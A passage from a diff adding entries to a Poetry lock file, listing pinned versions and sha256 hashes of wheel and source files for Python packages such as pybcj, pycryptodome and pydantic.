"sha256:b901f12380e988da07f21bb6b75da7f91fd9feffb43fcf70fad698e40a2ef3a7"}, + {file = "pybcj-1.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2e1859d36c073231737956fbeb5bbcfa8dba880e1b66bfbd001466718d6d89dc"}, + {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421ed75e54ebecd79c80178c1df5bdbe1e0e3e10e7efef5f011b5f0be6a9a12f"}, + {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:872697d8bff2572e4225ed8cbce17be338faac28ec1ab3c00419aaef2f56dd3c"}, + {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc23f2ac2c1ded250f1aa66fbd1a3d823f76de549978b61eed4fb34affc11338"}, + {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:8efed581f2ee74f1e0ec04a10e97881b93abc258d13b15ef966aee71732ac152"}, + {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:bb378b0f133e19d437eca4327bac7c3f38e30950c5c604092c72b18cba839bc2"}, + {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:534b8b253dbdb746c06bab28383db31d7e2b42aa9b33ed4e7836319622dcd75b"}, + {file = "pybcj-1.0.1-cp37-cp37m-win32.whl", hash = "sha256:15edd1786617127ecfda4274bbb04f09ae299c474ada86e369bcf050d5cb88dd"}, + {file = "pybcj-1.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:393d95f83e47976d137bcec7b66986f51282dcb2091933f88983dd7eb89e59c4"}, + {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e89a814f1727be7d543ac6910f0d94131f43a337e811ab684606d42dbc22b701"}, + {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b3861996b06b8238f799b4f1bd9542d1a8ae8e4765adbdde25ed011c3bda11df"}, + {file = "pybcj-1.0.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7801ee9a9fcd47b92d4d90ff9a28cfdc23195cad72bd8032938ab3c794942b43"}, + {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10182725b0e6aa944d13a10a4a9cb5208bafe0016b4326253340948153de4bc0"}, + {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fc313b1a5547c5416982853f2de1454980704f3ab3dbcad18dacdc565a2eafc"}, + {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7b3773a77ae3b18778c9bf22c7ba6478a0e5416f84b7d2ac6d764001f6d0d985"}, + {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c72ff262613c9a6f20e80bcf1e8bbc000b78b95a7fa301164ab3e3bd23bd936c"}, + {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:262f53e27bca6096e3424c63e5e59948b10985eee4b03a5d70c3f3f6161a79e7"}, + {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:efe75e3b8768c4f9d454d3c1b2b2a67e757f2b00d638146d3a4cddb38460fc3a"}, + {file = "pybcj-1.0.1-cp38-cp38-win32.whl", hash = "sha256:a77796b4c5370cedd4fad2264b6d7a78cb40229c7fa3cbcab24df3adea768962"}, + {file = "pybcj-1.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:4d10dd75fad48555e9530c5565c7ccf13754adad2fe331feefb263055cdca7b3"}, + {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1c0e1657c233f9f4070ab578951e03d569f1b645042ce661341091f50e41b541"}, + {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:603daa737579cf69efb368fab716cdce18d0b2615af77bb623f5f42aa546b3d8"}, + {file = "pybcj-1.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:df75707f466ab6fa086f164bff2df75fd16543c8d43ca43a268f938c1144e792"}, + {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fda423836d7d69cba6a6f99e7a34c2e5fe3621e5e945cd25ea9ba60a96223254"}, + {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3847387b43af47d9677952b8a22d9c2d8a544c2175b6d5304c200669c05d39e1"}, + {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b99f4291e59dcbe548be5a1e8c6a1a19a860184526c2d14fc374ec687b98ad7d"}, + {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:05fad9a905772774aacc96cb174571ac1f5afa80b9f54c6ec414d369865d305c"}, + {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:d5c4ca6faff0af4b5f3e7d88d13ec76f8cac36c9bcc814b8c84d9f3f951b2cf9"}, + {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4bc8720f3a224c27bd413a930b9bec5f225fda050641258967b1ebb252a053fb"}, + {file = "pybcj-1.0.1-cp39-cp39-win32.whl", hash = "sha256:d61f287f820787d3acf60d113c5ce6e506870d9d3103bc37a74373e72ce9d7a6"}, + {file = "pybcj-1.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:bbb49772fc3896850a704215160df8316db89e5e8876b2d8af6c6c15b4e0f6ea"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c1e02170f8d358a8ddc716606760c73d55eea6bdb0cca2d97b86447e9524708b"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc1684b9f7ec92d2ae94a137ec311bd2227f684429521061af7ceed4952c7f72"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1e6434a46f852cd3e6929633b43537887bd381bc614dbf5c4a128fdde4966b3a"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:795dff9229dc024e54bd0f618f5a3adb269ee0cccd7ac9a0bef29df388beed23"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:358dba3dc39a07cded6897b9f99bb5b951a0ad95d567eda535b44861caa02f5b"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6df9eccc99a0d7bc091b58cff2f507b89f076d657253975fa2ca9eb42dbb4733"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f46ba61c942ee64198444c9562c5cf089eaf97f17b413e15fa1c0614df304734"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2f950ca403ffaa808a017e40e3371115bcb0b4b1061772b03e7d842555132ac"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6485c6b091504c0e6431a9495309271626eaa9ecb23276903486824f94f4c551"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:9b56eeff51efa556ecc186260ac486a4ddd79ad37bc88d669e96c45190f3c0da"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d5b327df02761c42399c878cd6c37f885bf0639befbd4d1ab763cd44ba1e0552"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:023082fd677f67ebd36fe96322a4a45ac33a2b340d49010d88e1867c76744c50"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8576a1dcf445ef064bf8c3b2cdc1d6353e41cb4b366329946883e285dcbcec0"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1a5365edcaa82dc47e7757ba2efb48f96b9b352e3811a2aaa90084802479ddbe"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6ca6ddae1302477879099d4c4efc65790f4610d71ceff7fbe8f8b60f6ac6dcff"}, + {file = "pybcj-1.0.1.tar.gz", hash = "sha256:8b682ed08caabfb7c042d4be083e28ddc692afb1deff5567111f8855071b75c3"}, +] + +[package.extras] +check = ["check-manifest", "flake8 (<5)", "flake8-black", "flake8-colors", "flake8-isort", "flake8-pyi", "flake8-typing-imports", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"] +test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-cov"] + +[[package]] +name = "pycodestyle" +version = "2.9.1" +description = "Python style guide checker" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"}, + {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"}, +] + +[[package]] +name = "pycountry" +version = "22.3.5" +description = "ISO country, subdivision, language, currency and script definitions and their translations" +optional = false +python-versions = ">=3.6, <4" +files = [ + {file = "pycountry-22.3.5.tar.gz", hash = "sha256:b2163a246c585894d808f18783e19137cb70a0c18fb36748dc01fc6f109c1646"}, +] + +[package.dependencies] +setuptools = "*" + +[[package]] +name = "pycparser" +version = "2.21" +description = "C parser in Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, + {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, +] + +[[package]] +name = "pycryptodome" +version = "3.18.0" +description = "Cryptographic library for Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "pycryptodome-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:d1497a8cd4728db0e0da3c304856cb37c0c4e3d0b36fcbabcc1600f18504fc54"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:928078c530da78ff08e10eb6cada6e0dff386bf3d9fa9871b4bbc9fbc1efe024"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:157c9b5ba5e21b375f052ca78152dd309a09ed04703fd3721dce3ff8ecced148"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:d20082bdac9218649f6abe0b885927be25a917e29ae0502eaf2b53f1233ce0c2"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e8ad74044e5f5d2456c11ed4cfd3e34b8d4898c0cb201c4038fe41458a82ea27"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:62a1e8847fabb5213ccde38915563140a5b338f0d0a0d363f996b51e4a6165cf"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:16bfd98dbe472c263ed2821284118d899c76968db1a6665ade0c46805e6b29a4"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7a3d22c8ee63de22336679e021c7f2386f7fc465477d59675caa0e5706387944"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:78d863476e6bad2a592645072cc489bb90320972115d8995bcfbee2f8b209918"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:b6a610f8bfe67eab980d6236fdc73bfcdae23c9ed5548192bb2d530e8a92780e"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:422c89fd8df8a3bee09fb8d52aaa1e996120eafa565437392b781abec2a56e14"}, + {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:9ad6f09f670c466aac94a40798e0e8d1ef2aa04589c29faa5b9b97566611d1d1"}, + {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:53aee6be8b9b6da25ccd9028caf17dcdce3604f2c7862f5167777b707fbfb6cb"}, + {file = "pycryptodome-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:10da29526a2a927c7d64b8f34592f461d92ae55fc97981aab5bbcde8cb465bb6"}, + {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f21efb8438971aa16924790e1c3dba3a33164eb4000106a55baaed522c261acf"}, + {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4944defabe2ace4803f99543445c27dd1edbe86d7d4edb87b256476a91e9ffa4"}, + {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:51eae079ddb9c5f10376b4131be9589a6554f6fd84f7f655180937f611cd99a2"}, + {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:83c75952dcf4a4cebaa850fa257d7a860644c70a7cd54262c237c9f2be26f76e"}, + {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:957b221d062d5752716923d14e0926f47670e95fead9d240fa4d4862214b9b2f"}, + {file = "pycryptodome-3.18.0-cp35-abi3-win32.whl", hash = "sha256:795bd1e4258a2c689c0b1f13ce9684fa0dd4c0e08680dcf597cf9516ed6bc0f3"}, + {file = "pycryptodome-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:b1d9701d10303eec8d0bd33fa54d44e67b8be74ab449052a8372f12a66f93fb9"}, + {file = "pycryptodome-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:cb1be4d5af7f355e7d41d36d8eec156ef1382a88638e8032215c215b82a4b8ec"}, + {file = "pycryptodome-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:fc0a73f4db1e31d4a6d71b672a48f3af458f548059aa05e83022d5f61aac9c08"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f022a4fd2a5263a5c483a2bb165f9cb27f2be06f2f477113783efe3fe2ad887b"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:363dd6f21f848301c2dcdeb3c8ae5f0dee2286a5e952a0f04954b82076f23825"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12600268763e6fec3cefe4c2dcdf79bde08d0b6dc1813887e789e495cb9f3403"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4604816adebd4faf8810782f137f8426bf45fee97d8427fa8e1e49ea78a52e2c"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:01489bbdf709d993f3058e2996f8f40fee3f0ea4d995002e5968965fa2fe89fb"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3811e31e1ac3069988f7a1c9ee7331b942e605dfc0f27330a9ea5997e965efb2"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f4b967bb11baea9128ec88c3d02f55a3e338361f5e4934f5240afcb667fdaec"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:9c8eda4f260072f7dbe42f473906c659dcbadd5ae6159dfb49af4da1293ae380"}, + {file = "pycryptodome-3.18.0.tar.gz", hash = "sha256:c9adee653fc882d98956e33ca2c1fb582e23a8af7ac82fee75bd6113c55a0413"}, +] + +[[package]] +name = "pycryptodomex" +version = "3.18.0" +description = "Cryptographic library for Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"}, + {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"}, +] + +[[package]] +name = "pydantic" +version = "1.10.11" +description = "Data validation and settings management using python type hints" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"}, + {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"}, + {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"}, + {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"}, + {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"}, + {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"}, + {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 